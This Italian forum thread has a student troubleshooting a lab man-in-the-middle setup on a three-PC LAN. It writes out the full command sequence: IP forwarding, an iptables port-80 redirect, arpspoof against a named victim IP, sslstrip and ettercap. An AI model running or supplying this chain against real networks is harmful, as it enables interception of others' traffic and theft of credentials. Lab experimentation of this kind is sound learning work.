problema ettercap - sniff rete

[Gimmy2]

ciao a tutti, vi espongo la situazione ed il problema: in università ho portato il router che uso a casa per costruire una LAN di 3 pc in modo da sperimentare un attacco in rete locale. Il problema è che una volta connessi tutti e assegnati gli ip in modo automatico i programmi di sniff (tipo ettercap, arpspoof, etc) è come se non funzionassero, ossia una volta avviati non vedono nessun pacchetto passare per la rete, nonostante mi colleghi con un dei 3 pc (client) a un altro dei 3 pc (server).

Dove sbaglio? C'è qualcosa da configurare/settare che non ho considerato?
(sto usando l'ultima versione di ubuntu)

Grazie anticipatamente. :)

[sacarde]

software ce n'e' tanto
es mi viene in mente:

iftop
ntop
tcpdump


p.s.
http://www.dia.unisa.it/~ads/corso-security/www/CORSO-0001/snifferPCAP/Documentazione/sniffer.htm

p.s.
se vuoi ascoltare tutto il traffico mi pare si debba impostare
la scheda di rete in modalita' promiscua

[Gimmy2]

Grazie per le info, ma i concetti nel link erano cose che bene o male conoscevo già.
Vi posto i comandi che eseguo:

echo "1" > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

arpspoof -i wlan0 -t 192.168.1.2 192.168.1.1

sslstrip -l 10000 -a

ettercap -T -q -i wlan0

dove 192.168.1.2 è l'IP del pc vittima e 192.168.1.1 è l'IP del router.

Dove sbaglio? :confused: